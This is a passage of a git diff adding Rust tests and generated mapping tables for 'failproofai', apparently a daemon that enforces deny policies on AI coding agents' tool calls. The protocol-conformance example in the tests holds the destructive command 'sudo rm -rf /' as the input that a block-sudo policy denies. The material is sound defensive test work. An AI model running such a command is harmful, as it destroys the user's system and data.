items.iter().copied().max().unwrap()); + } + + /// Serde round-trip, so the lattice's spellings survive the wire. + #[test] + fn decisions_and_attestations_round_trip(d in any_decision(), a in any_attestation()) { + let d_json = serde_json::to_string(&d).unwrap(); + prop_assert_eq!(serde_json::from_str::(&d_json).unwrap(), d); + prop_assert_eq!(d_json, format!("\"{}\"", d.as_str())); + + let a_json = serde_json::to_string(&a).unwrap(); + prop_assert_eq!(serde_json::from_str::(&a_json).unwrap(), a); + prop_assert_eq!(a_json, format!("\"{}\"", a.as_str())); + } +} + +#[test] +fn the_ordering_is_exactly_deny_over_instruct_over_allow() { + // Pinned as an example as well as a property: the properties above are all + // stated in terms of `Ord`, so an inverted `Ord` would satisfy every one of + // them while denying nothing. + assert!(Decision::Allow < Decision::Instruct); + assert!(Decision::Instruct < Decision::Deny); + assert_eq!(Decision::Allow.rank(), 0); + assert_eq!(Decision::Instruct.rank(), 1); + assert_eq!(Decision::Deny.rank(), 2); + + assert!(Attestation::Sealed < Attestation::SealedUnattested); + assert!(Attestation::SealedUnattested < Attestation::UserContext); +} + +#[test] +fn a_user_context_allow_cannot_unblock_a_sealed_deny() { + // The concrete attack, spelled out: the user owns the agent, so they can + // make it return whatever they like. The strongest thing they can say is + // "allow", and it changes nothing. + let outcome = combine_tiered([ + TieredDecision::sealed(Decision::Deny), + TieredDecision::user_context(Decision::Allow), + TieredDecision::user_context(Decision::Allow), + TieredDecision::user_context(Decision::Allow), + ]); + assert_eq!(outcome.decision(), Decision::Deny); + assert_eq!(outcome.attestation_ceiling(), Attestation::Sealed); +} diff --git a/crates/fpai-ipc/tests/no_huge_alloc.rs b/crates/fpai-ipc/tests/no_huge_alloc.rs new file mode 100644 index 00000000..34967fd5 --- /dev/null +++ b/crates/fpai-ipc/tests/no_huge_alloc.rs @@ -0,0 +1,140 @@ +//! Proof that a hostile length prefix never becomes a capacity. +//! +//! "Validate before allocating" is the kind of property that is true when it is +//! written and quietly false after a refactor moves one line, because every +//! other test still passes: the oversize frame is still rejected, just after a +//! 4 GiB allocation attempt. So this measures the allocator directly rather +//! than the return value. +//! +//! It lives in its own integration-test binary, and holds exactly **one** +//! `#[test]`, for two reasons: a `#[global_allocator]` is per-binary, and the +//! counters below are process-global — a second test running concurrently on +//! another thread would have its allocations attributed to this one. +#![allow( + unsafe_code, + reason = "a GlobalAlloc impl is unsafe by definition; this is a test-only \ + instrument, and the code under test contains no unsafe of its own" +)] + +use std::alloc::{GlobalAlloc, Layout, System}; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; + +use fpai_ipc::framing::{FrameError, MAX_FRAME_BODY, read_frame, write_frame}; + +static ARMED: AtomicBool = AtomicBool::new(false); +static LARGEST: AtomicUsize = AtomicUsize::new(0); + +/// Records the largest single allocation made while armed. +struct Watching; + +// SAFETY: every method forwards to `System`, unchanged, with the same arguments +// and the same contract. The only added behaviour is a relaxed atomic load and +// a relaxed atomic max, which allocate nothing and cannot unwind. +unsafe impl GlobalAlloc for Watching { + unsafe fn alloc(&self, layout: Layout) -> *mut u8 { + record(layout.size()); + unsafe { System.alloc(layout) } + } + + unsafe fn alloc_zeroed(&self, layout: Layout) -> *mut u8 { + // `vec![0u8; n]` lands here, not in `alloc`. Forgetting this override is + // how this test would silently stop measuring anything. + record(layout.size()); + unsafe { System.alloc_zeroed(layout) } + } + + unsafe fn realloc(&self, ptr: *mut u8, layout: Layout, new_size: usize) -> *mut u8 { + record(new_size); + unsafe { System.realloc(ptr, layout, new_size) } + } + + unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { + unsafe { System.dealloc(ptr, layout) } + } +} + +fn record(size: usize) { + if ARMED.load(Ordering::Relaxed) { + LARGEST.fetch_max(size, Ordering::Relaxed); + } +} + +#[global_allocator] +static ALLOCATOR: Watching = Watching; + +/// Run `f` with the allocator watching, and report the largest allocation. +fn largest_allocation_during(f: impl FnOnce() -> T) -> (T, usize) { + LARGEST.store(0, Ordering::SeqCst); + ARMED.store(true, Ordering::SeqCst); + let out = f(); + ARMED.store(false, Ordering::SeqCst); + (out, LARGEST.load(Ordering::SeqCst)) +} + +fn hostile_frame() -> Vec { + let mut wire = u32::MAX.to_be_bytes().to_vec(); + wire.extend_from_slice(b"x"); + wire +} + +#[test] +fn a_u32_max_length_prefix_allocates_nothing() { + // Control first: a legal frame really does allocate its body through this + // allocator, so a small reading below means "did not allocate" rather than + // "was not measured". + let body = vec![b'x'; 512 * 1024]; + let mut legal = Vec::new(); + write_frame(&mut legal, &body).unwrap(); + let (decoded, control) = largest_allocation_during(|| read_frame(&mut legal.as_slice())); + assert_eq!(decoded.unwrap().len(), body.len()); + assert!( + control >= body.len(), + "the instrument is not measuring: a {}-byte body registered a largest \ + allocation of {control} bytes", + body.len() + ); + + // The hostile case: 0xFFFFFFFF declared, one byte of body actually present. + let wire = hostile_frame(); + let (result, largest) = largest_allocation_during(|| read_frame(&mut wire.as_slice())); + + let err = result.expect_err("a 4 GiB declared length must be rejected"); + assert!( + matches!(err, FrameError::TooLarge { declared: u32::MAX }), + "got {err:?}" + ); + assert!( + largest <= 4096, + "reading a frame with a u32::MAX length prefix allocated {largest} bytes; \ + the length must be validated before the body buffer is created" + ); + assert!(largest < MAX_FRAME_BODY); + + // The async reader shares `validate_declared` with the sync one, but it has + // its own `vec![0u8; declared]`, so it needs its own measurement. + #[cfg(feature = "tokio")] + { + use fpai_ipc::framing::read_frame_async; + + // Built before arming so the runtime's start-up allocations are not + // attributed to the read. `new_current_thread` keeps the read on this + // thread, where the counters are meaningful. + let runtime = tokio::runtime::Builder::new_current_thread() + .build() + .unwrap(); + let wire = hostile_frame(); + let (result, largest) = largest_allocation_during(|| { + runtime.block_on(async { read_frame_async(&mut wire.as_slice()).await }) + }); + + let err = result.expect_err("a 4 GiB declared length must be rejected"); + assert!( + matches!(err, FrameError::TooLarge { declared: u32::MAX }), + "got {err:?}" + ); + assert!( + largest <= 4096, + "the async reader allocated {largest} bytes for a u32::MAX length prefix" + ); + } +} diff --git a/crates/fpai-ipc/tests/protocol_conformance.rs b/crates/fpai-ipc/tests/protocol_conformance.rs new file mode 100644 index 00000000..22f9b578 --- /dev/null +++ b/crates/fpai-ipc/tests/protocol_conformance.rs @@ -0,0 +1,266 @@ +//! Conformance against `crates/PROTOCOL.md`, the shared source of truth. +//! +//! Three implementations are written against that document independently — this +//! crate, `failproofaid`, and `src/hooks/daemon-client.ts` — so a rename on one +//! side is invisible until two of them meet on a socket. Nothing else in this +//! crate can catch that: a serde round-trip proves the Rust types agree with +//! *themselves*. +//! +//! So every example below is pasted verbatim out of the document, and each is +//! also asserted to still be a substring of it. That is the load-bearing half: +//! editing PROTOCOL.md without editing this file fails the build, and editing +//! this file to match a changed document forces a reviewer to look at the diff +//! that changed the wire format. +//! +//! Comparison is between `serde_json::Value`s, so key order is free but every +//! name, nesting level, and null is pinned. + +use fpai_ipc::envelope::{ + Attestation, ClientHandshake, ErrorCode, Op, OpResult, Response, ServerHandshake, +}; +use serde::{Serialize, de::DeserializeOwned}; +use serde_json::Value; + +/// The document itself. `include_str!` rather than a runtime read: a missing or +/// moved PROTOCOL.md must be a compile error, not a skipped test. +const PROTOCOL_MD: &str = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/../PROTOCOL.md")); + +// --- Handshake ------------------------------------------------------------- + +const HELLO: &str = r#"{ "hello": { "protocol_version": 1, "client": "failproofai-hook", "client_version": "0.0.16-beta.0" } }"#; + +const HELLO_ACK: &str = r#"{ "hello_ack": { "protocol_version": 1, "daemon_version": "0.0.16-beta.0", "generation_id": "gen-" } }"#; + +const VERSION_MISMATCH: &str = r#"{ "version_mismatch": { "supported": [1], "received": 2 } }"#; + +// --- Ping ------------------------------------------------------------------ + +const PING_OP: &str = r#"{ "op": { "ping": {} } }"#; + +const PONG_RESULT: &str = + r#"{ "result": { "pong": { "daemon_version": "0.0.16-beta.0", "uptime_ms": 12345 } } }"#; + +// --- EvaluateHook ---------------------------------------------------------- + +const EVALUATE_HOOK_OP: &str = r#"{ + "op": { + "evaluate_hook": { + "cli": "claude", + "event_type": "PreToolUse", + "raw_event_type": "PreToolUse", + "payload": { "tool_name": "Bash", "tool_input": { "command": "sudo rm -rf /" } }, + "session": { + "session_id": "sess-1", + "transcript_path": "/home/u/.claude/projects/x/sess-1.jsonl", + "permission_mode": "default", + "hook_event_name": "PreToolUse" + }, + "host": { + "home": null, + "cwd": "/home/u/project", + "project_dir": null, + "env_facts": { "CLAUDE_PROJECT_DIR": null } + }, + "enabled_policies": ["block-sudo", "block-env-files"], + "deadline_ms": 800, + "shadow": false + } + } +}"#; + +const EVALUATED_RESULT: &str = r#"{ + "result": { + "evaluated": { + "decision_id": "dec-", + "generation_id": "gen-", + "exit_code": 0, + "stdout": "{\"hookSpecificOutput\":{…}}", + "stderr": "", + "decision": "deny", + "policy_name": "failproofai/block-sudo", + "policy_names": null, + "reason": "sudo commands are blocked", + "attestation": "sealed", + "matched_policies": ["failproofai/block-sudo"], + "needs_user_context": [] + } + } +}"#; + +// --- Errors ---------------------------------------------------------------- + +const ERROR_RESPONSE: &str = r#"{ "request_id": "…", "result": { "error": { "code": "client_asserted_home", "message": "…" } } }"#; + +const EVERY_EXAMPLE: &[(&str, &str)] = &[ + ("hello", HELLO), + ("hello_ack", HELLO_ACK), + ("version_mismatch", VERSION_MISMATCH), + ("ping op", PING_OP), + ("pong result", PONG_RESULT), + ("evaluate_hook op", EVALUATE_HOOK_OP), + ("evaluated result", EVALUATED_RESULT), + ("error response", ERROR_RESPONSE), +]; + +/// Parse an example as `T`, re-serialize, and require the JSON to be identical. +fn assert_lossless(label: &str, value: &Value) { + let parsed: T = serde_json::from_value(value.clone()) + .unwrap_or_else(|e| panic!("{label}: PROTOCOL.md example does not deserialize: {e}")); + let reserialized = serde_json::to_value(&parsed) + .unwrap_or_else(|e| panic!("{label}: does not re-serialize: {e}")); + assert_eq!( + &reserialized, value, + "{label}: re-serialized JSON differs from the PROTOCOL.md example" + ); +} + +fn parse(example: &str) -> Value { + serde_json::from_str(example).expect("example is valid JSON") +} + +#[test] +fn every_pasted_example_is_still_verbatim_in_the_document() { + for (label, example) in EVERY_EXAMPLE { + assert!( + PROTOCOL_MD.contains(example), + "{label}: this example is no longer present verbatim in crates/PROTOCOL.md. \ + The wire format changed; update this test *and* the Rust types together." + ); + } +} + +#[test] +fn handshake_examples_round_trip() { + assert_lossless::("hello", &parse(HELLO)); + assert_lossless::("hello_ack", &parse(HELLO_ACK)); + assert_lossless::("version_mismatch", &parse(VERSION_MISMATCH)); +} + +#[test] +fn a_hello_ack_is_distinguishable_from_a_version_mismatch() { + // The client's whole fallback rule is "anything other than hello_ack means + // use the legacy evaluator", so the two must not both parse as acceptance. + let ack: ServerHandshake = serde_json::from_str(HELLO_ACK).unwrap(); + assert!(matches!(ack, ServerHandshake::HelloAck(_))); + let mismatch: ServerHandshake = serde_json::from_str(VERSION_MISMATCH).unwrap(); + let ServerHandshake::VersionMismatch(mismatch) = mismatch else { + panic!("version_mismatch parsed as an acknowledgement"); + }; + assert_eq!(mismatch.supported, vec![1]); + assert_eq!(mismatch.received, 2); +} + +#[test] +fn op_examples_round_trip() { + // The op/result examples are shown without their `request_id` wrapper, so + // they are checked at the `op` and `result` keys. + assert_lossless::("ping op", &parse(PING_OP)["op"]); + assert_lossless::("pong result", &parse(PONG_RESULT)["result"]); + assert_lossless::("evaluate_hook op", &parse(EVALUATE_HOOK_OP)["op"]); + assert_lossless::("evaluated result", &parse(EVALUATED_RESULT)["result"]); +} + +#[test] +fn the_error_example_round_trips_as_a_whole_response() { + assert_lossless::("error response", &parse(ERROR_RESPONSE)); +} + +#[test] +fn the_evaluate_hook_example_carries_the_fields_the_daemon_reads() { + let Op::EvaluateHook(op) = + serde_json::from_value(parse(EVALUATE_HOOK_OP)["op"].clone()).unwrap() + else { + panic!("example did not parse as evaluate_hook"); + }; + assert_eq!(op.cli, "claude"); + assert_eq!(op.event_type, "PreToolUse"); + assert_eq!(op.payload["tool_name"], "Bash"); + assert_eq!(op.payload["tool_input"]["command"], "sudo rm -rf /"); + assert_eq!(op.session.permission_mode.as_deref(), Some("default")); + assert_eq!(op.deadline_ms, 800); + assert!(!op.shadow); + // `home` is null and `env_facts` holds only the one closed-set key, so the + // document's own example is a valid request. + op.host + .validate() + .expect("the PROTOCOL.md example must be an acceptable envelope"); + assert_eq!(op.host.cwd.as_deref(), Some("/home/u/project")); + assert_eq!(op.host.env_facts.claude_project_dir(), None); +} + +#[test] +fn the_evaluated_example_carries_the_evaluation_result_fields_verbatim() { + let OpResult::Evaluated(result) = + serde_json::from_value(parse(EVALUATED_RESULT)["result"].clone()).unwrap() + else { + panic!("example did not parse as evaluated"); + }; + // These seven are byte-for-byte the fields `EvaluationResult` already has in + // src/hooks/policy-evaluator.ts; the client writes them out unchanged. + assert_eq!(result.exit_code, 0); + assert!(result.stdout.contains("hookSpecificOutput")); + assert_eq!(result.stderr, ""); + assert_eq!(result.decision.as_str(), "deny"); + assert_eq!( + result.policy_name.as_deref(), + Some("failproofai/block-sudo") + ); + assert_eq!(result.policy_names, None); + assert_eq!(result.reason.as_deref(), Some("sudo commands are blocked")); + + assert_eq!(result.attestation, Attestation::Sealed); + assert_eq!(result.matched_policies, vec!["failproofai/block-sudo"]); + // Stage 1 always returns this empty; a client seeing a non-empty list must + // fall back to legacy. + assert!(result.needs_user_context.is_empty()); +} + +#[test] +fn every_error_code_appears_in_the_documents_table() { + for code in [ + ErrorCode::ClientAssertedHome, + ErrorCode::UnknownEnvFact, + ErrorCode::CanonicalizationMismatch, + ErrorCode::FrameTooLarge, + ErrorCode::MalformedFrame, + ErrorCode::DeadlineExceeded, + ErrorCode::UnsupportedOp, + ErrorCode::Internal, + ] { + let row = format!("| `{}` |", code.as_str()); + assert!( + PROTOCOL_MD.contains(&row), + "error code `{code}` is not a row in the PROTOCOL.md error table" + ); + } +} + +#[test] +fn every_attestation_value_appears_in_the_documents_table() { + for attestation in [ + Attestation::Sealed, + Attestation::SealedUnattested, + Attestation::UserContext, + ] { + let row = format!("| `{}` |", attestation.as_str()); + assert!( + PROTOCOL_MD.contains(&row), + "attestation `{attestation}` is not a row in the PROTOCOL.md attestation table" + ); + } +} + +#[test] +fn the_frame_maximum_matches_the_document() { + assert_eq!(fpai_ipc::MAX_FRAME_BODY, 1_048_576); + assert!( + PROTOCOL_MD.contains("Maximum body: 1 MiB (1_048_576)"), + "the 1 MiB body cap is no longer stated in PROTOCOL.md" + ); +} + +#[test] +fn the_protocol_version_matches_the_document() { + assert_eq!(fpai_ipc::PROTOCOL_VERSION, 1); + assert!(PROTOCOL_MD.contains("protocol v1")); +} diff --git a/crates/fpai-ipc/tests/socket_handshake.rs b/crates/fpai-ipc/tests/socket_handshake.rs new file mode 100644 index 00000000..d990eeea --- /dev/null +++ b/crates/fpai-ipc/tests/socket_handshake.rs @@ -0,0 +1,179 @@ +//! The handshake and one request/response exchange, over a real Unix socket. +//! +//! Everything else in this crate tests framing against a `Vec` and the +//! envelope against a `Value`. This test puts both on a socket with a peer on +//! the other end, because that is where the two meet: a partial write, a +//! half-closed direction, or a peer credential read on the wrong side of the +//! pair are invisible to an in-memory test. +//! +//! There is no daemon here — that is `failproofaid`'s crate. The "daemon" below +//! is twenty lines of test scaffolding whose only job is to be a second end. + +use std::io; +use std::os::unix::net::UnixStream; +use std::thread; + +use fpai_ipc::envelope::{ + ClientHandshake, Hello, HelloAck, Op, OpResult, PROTOCOL_VERSION, Ping, Pong, Request, + Response, ServerHandshake, VersionMismatch, is_supported_protocol_version, +}; +use fpai_ipc::framing::{read_frame, write_frame}; +use fpai_ipc::peer::peer_credentials; + +/// Some sandboxes forbid `socketpair(2)`. Skipping there is correct; failing +/// would be noise that hides a real regression. +fn socket_pair() -> Option<(UnixStream, UnixStream)> { + match UnixStream::pair() { + Ok(pair) => Some(pair), + Err(e) => { + eprintln!("skipping: this environment cannot create a Unix socketpair: {e}"); + None + } + } +} + +fn send(sock: &mut UnixStream, message: &T) { + write_frame(sock, &serde_json::to_vec(message).unwrap()).expect("write frame"); +} + +fn receive(sock: &mut UnixStream) -> T { + let body = read_frame(sock).expect("read frame"); + serde_json::from_slice(&body).expect("decode frame body") +} + +/// A stand-in daemon: read the handshake, answer it, then serve one op. +fn serve(mut sock: UnixStream) -> io::Result<()> { + // Peer credentials come from the kernel, before anything the client said is + // even parsed. That ordering is the point: identity is never derived from + // the envelope. + let peer = peer_credentials(&sock)?; + assert_eq!(peer.uid, nix::unistd::geteuid().as_raw()); + + let ClientHandshake::Hello(hello) = receive(&mut sock); + + if !is_supported_protocol_version(hello.protocol_version) { + send( + &mut sock, + &ServerHandshake::VersionMismatch(VersionMismatch::for_received( + hello.protocol_version, + )), + ); + // …then close, without serving anything. + return Ok(()); + } + + send( + &mut sock, + &ServerHandshake::HelloAck(HelloAck { + protocol_version: PROTOCOL_VERSION, + daemon_version: "0.0.16-beta.0".into(), + generation_id: "gen-deadbeef".into(), + }), + ); + + let request: Request = receive(&mut sock); + let result = match request.op { + Op::Ping(Ping {}) => OpResult::Pong(Pong { + daemon_version: "0.0.16-beta.0".into(), + uptime_ms: 12_345, + }), + Op::EvaluateHook(_) => unreachable!("this test only pings"), + }; + // `request_id` is echoed verbatim. + send( + &mut sock, + &Response { + request_id: request.request_id, + result, + }, + ); + Ok(()) +} + +#[test] +fn a_supported_version_is_acknowledged_and_the_request_id_is_echoed() { + let Some((mut client, daemon)) = socket_pair() else { + return; + }; + let server = thread::spawn(move || serve(daemon)); + + send( + &mut client, + &ClientHandshake::Hello(Hello { + protocol_version: PROTOCOL_VERSION, + client: "failproofai-hook".into(), + client_version: "0.0.16-beta.0".into(), + }), + ); + + let ServerHandshake::HelloAck(ack) = receive(&mut client) else { + panic!("a supported version must be acknowledged"); + }; + assert_eq!(ack.protocol_version, PROTOCOL_VERSION); + assert_eq!(ack.generation_id, "gen-deadbeef"); + + let request_id = "3f1b9c2e-0000-4000-8000-000000000001"; + send( + &mut client, + &Request { + request_id: request_id.into(), + op: Op::Ping(Ping {}), + }, + ); + + let response: Response = receive(&mut client); + assert!(response.is_reply_to(request_id)); + let OpResult::Pong(pong) = response.result else { + panic!("expected a pong") + }; + assert_eq!(pong.uptime_ms, 12_345); + + server.join().unwrap().unwrap(); +} + +#[test] +fn an_unsupported_version_gets_a_mismatch_frame_and_then_a_close() { + let Some((mut client, daemon)) = socket_pair() else { + return; + }; + let server = thread::spawn(move || serve(daemon)); + + send( + &mut client, + &ClientHandshake::Hello(Hello { + protocol_version: 2, + client: "failproofai-hook".into(), + client_version: "99.0.0".into(), + }), + ); + + match receive::(&mut client) { + ServerHandshake::VersionMismatch(mismatch) => { + assert_eq!(mismatch.received, 2); + assert_eq!(mismatch.supported, vec![PROTOCOL_VERSION]); + } + ServerHandshake::HelloAck(_) => panic!("an unsupported version must not be acknowledged"), + } + + server.join().unwrap().unwrap(); + + // The client's rule is "anything other than hello_ack means fall back to the + // legacy in-process evaluator — never guess, never retry with a different + // version". So the next read must report a clean close rather than hang or + // hand back a second frame the client might act on. + let err = read_frame(&mut client).unwrap_err(); + assert!(err.is_clean_disconnect(), "got {err:?}"); +} + +#[test] +fn a_frame_larger_than_the_cap_is_refused_before_it_reaches_the_socket() { + let Some((mut client, _daemon)) = socket_pair() else { + return; + }; + // The sender is the first line of defence: an oversize body never becomes + // bytes on the wire, so the receiver's cap is a second check rather than + // the only one. + let oversize = vec![b'x'; fpai_ipc::MAX_FRAME_BODY + 1]; + let err = write_frame(&mut client, &oversize).unwrap_err(); + assert_eq!(err.error_code(), Some(fpai_ipc::ErrorCode::FrameTooLarge)); +} diff --git a/crates/generated/README.md b/crates/generated/README.md new file mode 100644 index 00000000..277ba017 --- /dev/null +++ b/crates/generated/README.md @@ -0,0 +1,48 @@ +# `crates/generated/` — generated data, not a crate + +This directory holds **generated JSON**, consumed by the Rust `fpai-canon` +crate. It is deliberately **not** a crate: there is no `Cargo.toml` here, so the +workspace's `members = ["crates/*"]` glob does not pick it up. + +| File | Generated from | Contents | +|---|---|---| +| `canonicalization-tables.json` | `src/hooks/types.ts` (+ the payload-normalization blocks in `src/hooks/handler.ts` and `src/hooks/resolve-cwd.ts`) | Per-CLI event map, tool-name map, tool-input-key map, and payload field normalizations. | +| `enforcement-capability.json` | `src/hooks/enforcement-capability.ts` | Per `(cli, canonical event)`, whether a DENY actually changes the agent's behaviour. | + +## Regenerate + +```bash +bun scripts/gen-canon-tables.ts +``` + +**Do not hand-edit either JSON file.** `src/hooks/types.ts` and +`src/hooks/enforcement-capability.ts` are the single source of truth — that is +why these are JSON and not generated `.rs`: the "verified live against +` vX.Y.Z`" annotations stay where reviewers already look, and there is no +generated Rust in the diff. + +`__tests__/parity/canon-tables-drift.test.ts` re-runs the generator and fails +the build on any byte difference, so an edit here is reverted by CI rather than +merged. + +## Reading them from Rust + +Both documents carry a `schema_version` integer. **Refuse an unexpected +version** rather than best-effort parsing it — the version is bumped only when +the document *shape* changes (a renamed key, a changed value vocabulary), never +for content (a new CLI, a new tool mapping). + +Order of application is recorded in the canonicalization document's `pipeline` +field, and it matters: + +1. `payload_normalizations` — rewrite vendor payload fields to canonical keys +2. `event_map` — vendor event name → canonical `HookEventType` +3. `tool_map` — vendor tool name → canonical tool name +4. `tool_input_map` — keyed by the **canonical** tool name from step 3 + +Two fields record gaps in the source of truth rather than hiding them: +`unmapped_event_types` (a vendor event with no canonical `HookEventType`) and +`event_types_source` / `scopes_source` (which exported constant a list came +from; `HOOK_EVENT_TYPES` / `HOOK_SCOPES` mean the CLI declares none of its own). +In `enforcement-capability.json`, an **absent** `(cli, event)` entry means *not +verified* — never assume `"block"`. diff --git a/crates/generated/canonicalization-tables.json b/crates/generated/canonicalization-tables.json new file mode 100644 index 00000000..bc1fdb1e --- /dev/null +++ b/crates/generated/canonicalization-tables.json @@ -0,0 +1,951 @@ +{ + "canonical_event_types": [ + "ConfigChange", + "CwdChanged", + "Elicitation", + "ElicitationResult", + "FileChanged", + "InstructionsLoaded", + "Notification", + "PermissionDenied", + "PermissionRequest", + "PostCompact", + "PostToolBatch", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Setup", + "Stop", + "StopFailure", + "SubagentStart", + "SubagentStop", + "TaskCompleted", + "TaskCreated", + "TeammateIdle", + "UserPromptExpansion", + "UserPromptSubmit", + "WorktreeCreate", + "WorktreeRemove" + ], + "canonical_tool_names": [ + "Bash", + "Edit", + "Glob", + "Grep", + "LS", + "Read", + "Task", + "TodoRead", + "TodoWrite", + "WebFetch", + "WebSearch", + "Write" + ], + "clis": { + "antigravity": { + "event_map": { + "PostToolUse": "PostToolUse", + "PreInvocation": "UserPromptSubmit", + "PreToolUse": "PreToolUse", + "Stop": "Stop" + }, + "event_names_are_canonical": false, + "event_types": [ + "PostToolUse", + "PreInvocation", + "PreToolUse", + "Stop" + ], + "event_types_source": "ANTIGRAVITY_HOOK_EVENT_TYPES", + "payload_normalizations": [ + { + "from": [ + "toolCall", + "name" + ], + "require_type": "defined", + "source": "src/hooks/handler.ts", + "to": "tool_name", + "when": "always" + }, + { + "from": [ + "toolCall", + "args" + ], + "require_type": "defined", + "source": "src/hooks/handler.ts", + "to": "tool_input", + "when": "always" + }, + { + "from": [ + "conversationId" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "session_id", + "when": "always" + }, + { + "from": [ + "workspacePaths", + 0 + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "cwd", + "when": "always" + }, + { + "from": [ + "transcriptPath" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "transcript_path", + "when": "always" + } + ], + "reachable_canonical_events": [ + "PostToolUse", + "PreToolUse", + "Stop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "ANTIGRAVITY_HOOK_SCOPES", + "tool_input_map": { + "Bash": { + "CommandLine": "command", + "Cwd": "cwd" + }, + "Edit": { + "TargetFile": "file_path" + }, + "Read": { + "AbsolutePath": "file_path", + "File": "file_path", + "TargetFile": "file_path" + }, + "Write": { + "CodeContent": "content", + "TargetFile": "file_path" + } + }, + "tool_input_map_source": "ANTIGRAVITY_TOOL_INPUT_MAP", + "tool_map": { + "edit_file": "Edit", + "find_by_name": "Glob", + "grep_search": "Grep", + "list_dir": "LS", + "read_file": "Read", + "read_url_content": "WebFetch", + "replace_file_content": "Edit", + "run_command": "Bash", + "search_web": "WebSearch", + "view_file": "Read", + "write_to_file": "Write" + }, + "tool_map_source": "ANTIGRAVITY_TOOL_MAP", + "unmapped_event_types": [] + }, + "claude": { + "event_map": { + "ConfigChange": "ConfigChange", + "CwdChanged": "CwdChanged", + "Elicitation": "Elicitation", + "ElicitationResult": "ElicitationResult", + "FileChanged": "FileChanged", + "InstructionsLoaded": "InstructionsLoaded", + "Notification": "Notification", + "PermissionDenied": "PermissionDenied", + "PermissionRequest": "PermissionRequest", + "PostCompact": "PostCompact", + "PostToolBatch": "PostToolBatch", + "PostToolUse": "PostToolUse", + "PostToolUseFailure": "PostToolUseFailure", + "PreCompact": "PreCompact", + "PreToolUse": "PreToolUse", + "SessionEnd": "SessionEnd", + "SessionStart": "SessionStart", + "Setup": "Setup", + "Stop": "Stop", + "StopFailure": "StopFailure", + "SubagentStart": "SubagentStart", + "SubagentStop": "SubagentStop", + "TaskCompleted": "TaskCompleted", + "TaskCreated": "TaskCreated", + "TeammateIdle": "TeammateIdle", + "UserPromptExpansion": "UserPromptExpansion", + "UserPromptSubmit": "UserPromptSubmit", + "WorktreeCreate": "WorktreeCreate", + "WorktreeRemove": "WorktreeRemove" + }, + "event_names_are_canonical": true, + "event_types": [ + "ConfigChange", + "CwdChanged", + "Elicitation", + "ElicitationResult", + "FileChanged", + "InstructionsLoaded", + "Notification", + "PermissionDenied", + "PermissionRequest", + "PostCompact", + "PostToolBatch", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Setup", + "Stop", + "StopFailure", + "SubagentStart", + "SubagentStop", + "TaskCompleted", + "TaskCreated", + "TeammateIdle", + "UserPromptExpansion", + "UserPromptSubmit", + "WorktreeCreate", + "WorktreeRemove" + ], + "event_types_source": "HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "ConfigChange", + "CwdChanged", + "Elicitation", + "ElicitationResult", + "FileChanged", + "InstructionsLoaded", + "Notification", + "PermissionDenied", + "PermissionRequest", + "PostCompact", + "PostToolBatch", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Setup", + "Stop", + "StopFailure", + "SubagentStart", + "SubagentStop", + "TaskCompleted", + "TaskCreated", + "TeammateIdle", + "UserPromptExpansion", + "UserPromptSubmit", + "WorktreeCreate", + "WorktreeRemove" + ], + "scopes": [ + "local", + "project", + "user" + ], + "scopes_source": "HOOK_SCOPES", + "tool_input_map": {}, + "tool_input_map_source": null, + "tool_map": {}, + "tool_map_source": null, + "unmapped_event_types": [] + }, + "codex": { + "event_map": { + "permission_request": "PermissionRequest", + "post_compact": "PostCompact", + "post_tool_use": "PostToolUse", + "pre_compact": "PreCompact", + "pre_tool_use": "PreToolUse", + "session_start": "SessionStart", + "stop": "Stop", + "subagent_start": "SubagentStart", + "subagent_stop": "SubagentStop", + "user_prompt_submit": "UserPromptSubmit" + }, + "event_names_are_canonical": false, + "event_types": [ + "permission_request", + "post_compact", + "post_tool_use", + "pre_compact", + "pre_tool_use", + "session_start", + "stop", + "subagent_start", + "subagent_stop", + "user_prompt_submit" + ], + "event_types_source": "CODEX_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PermissionRequest", + "PostCompact", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionStart", + "Stop", + "SubagentStart", + "SubagentStop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "CODEX_HOOK_SCOPES", + "tool_input_map": {}, + "tool_input_map_source": null, + "tool_map": { + "apply_patch": "Edit", + "write_stdin": "Bash" + }, + "tool_map_source": "CODEX_TOOL_MAP", + "unmapped_event_types": [] + }, + "copilot": { + "event_map": { + "Notification": "Notification", + "PermissionRequest": "PermissionRequest", + "PostToolUse": "PostToolUse", + "PostToolUseFailure": "PostToolUseFailure", + "PreCompact": "PreCompact", + "PreToolUse": "PreToolUse", + "SessionEnd": "SessionEnd", + "SessionStart": "SessionStart", + "Stop": "Stop", + "SubagentStop": "SubagentStop", + "UserPromptSubmit": "UserPromptSubmit" + }, + "event_names_are_canonical": true, + "event_types": [ + "ErrorOccurred", + "Notification", + "PermissionRequest", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "event_types_source": "COPILOT_HOOK_EVENT_TYPES", + "payload_normalizations": [ + { + "from": [ + "toolName" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "tool_name", + "when": "target_undefined" + }, + { + "from": [ + "toolInput" + ], + "require_type": "defined", + "source": "src/hooks/handler.ts", + "to": "tool_input", + "when": "target_undefined" + }, + { + "from": [ + "sessionId" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "session_id", + "when": "target_undefined" + } + ], + "reachable_canonical_events": [ + "Notification", + "PermissionRequest", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + 